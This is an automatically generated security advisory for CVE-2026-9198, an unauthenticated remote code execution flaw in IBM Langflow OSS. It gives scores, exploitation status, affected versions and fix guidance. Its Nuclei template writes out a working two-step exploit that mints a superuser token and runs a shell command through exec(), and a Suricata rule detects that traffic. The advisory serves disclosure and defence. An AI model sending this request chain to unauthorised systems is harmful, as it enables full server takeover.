VULNpocalypse

CVE-2026-9198: IBM Langflow Code Injection Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

Description quoted from the CVE record (assigned by ibm, published 2026-07-17).

Weakness: CWE-94 Improper Control of Generation of Code (‘Code Injection’)

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2026-08-04
US federal deadline
2026-08-07
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2026-10244, CNVD-2026-31205, EDB-52675, EUVD-2026-45236, GHSA-5wm9-vgmg-cjv6

VEDAS cluster: VEDAS:FOXTROTJESTER

Exploit Observer links 19 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (19)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Vulnerability databases and vendor advisories (5)

Catalogue entries, not exploit evidence.

News (1)

37 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.287
likely to be attacked soon
VEDAS
0.990
strong exploit evidence
On CISA KEV
Yes, since 2026-08-04
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
100.1CVE-2026-9198 EPSS over time2026-082026-11-01
VEDAS (exploit evidence)
100.9CVE-2026-9198 VEDAS over time2026-082026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish.

Who is affected

ProductAffectedNot affected
IBM Langflow OSSfrom 1.0.0 up to and including 1.10.0Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: ibm_corp. langflow_oss, langflow langflow.

How to fix it

CISA required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset’s internet exposure and ensuring adherence to BOD 26-04 patching guidelines.

Vendor guidance:

How to detect it

Nuclei template (active check)

IBM Langflow OSS - Code Injection

IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve full RCE on default Langflow deployments

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /api/v1/validate/code, GET /api/v1/auto_login); it decides using dsl, json matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2026-9198.yaml
Show the template (58 lines)
yaml
id: CVE-2026-9198

info:
  name: "IBM Langflow OSS - Code Injection"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    IBM Langflow OSS 1.0.0 through 1.10.0 allows unauthenticated attackers to chain /api/v1/auto_login (mints
    SUPERUSER tokens to any network caller) with /api/v1/validate/code (executes user code via exec()) to achieve
    full RCE on default Langflow deployments
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-9198&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-9198
    cwe-id: CWE-94
  metadata:
    verified: false
  tags: cve,cve2026,langflow,ibm,rce,auth-bypass,vuln,kev,vkev
flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/auto_login"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "access_token", "refresh_token")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: json
        name: token
        json:
          - ".access_token"
        internal: true

  - raw:
      - |
        POST /api/v1/validate/code HTTP/1.1
        Host: {{Hostname}}
        Authorization: Bearer {{token}}
        Content-Type: application/json

        {"code": "def _ymxlcl_scan(_=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True, stderr=__import__(\"subprocess\").STDOUT).decode())')):\n    pass"}

    matchers:
      - type: dsl
        dsl:
          - 'regex("uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)", body)'
          - 'status_code == 200'
        condition: and

CVE-2026-9198.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2026-9198 IBM Langflow OSS - Code Injection. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2026-9198 IBM Langflow OSS - Code Injection"; flow:established,to_server; http.uri; content:"validate"; nocase; http.request_body; content:"')"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2026-9198; reference:url,https://www.exploit.observer/?keyword=CVE-2026-9198&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=langflow&match=exact; sid:1010146; rev:1;)

CVE-2026-9198.rules on GitHub

References

Vendor advisories and patches

Government sources

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.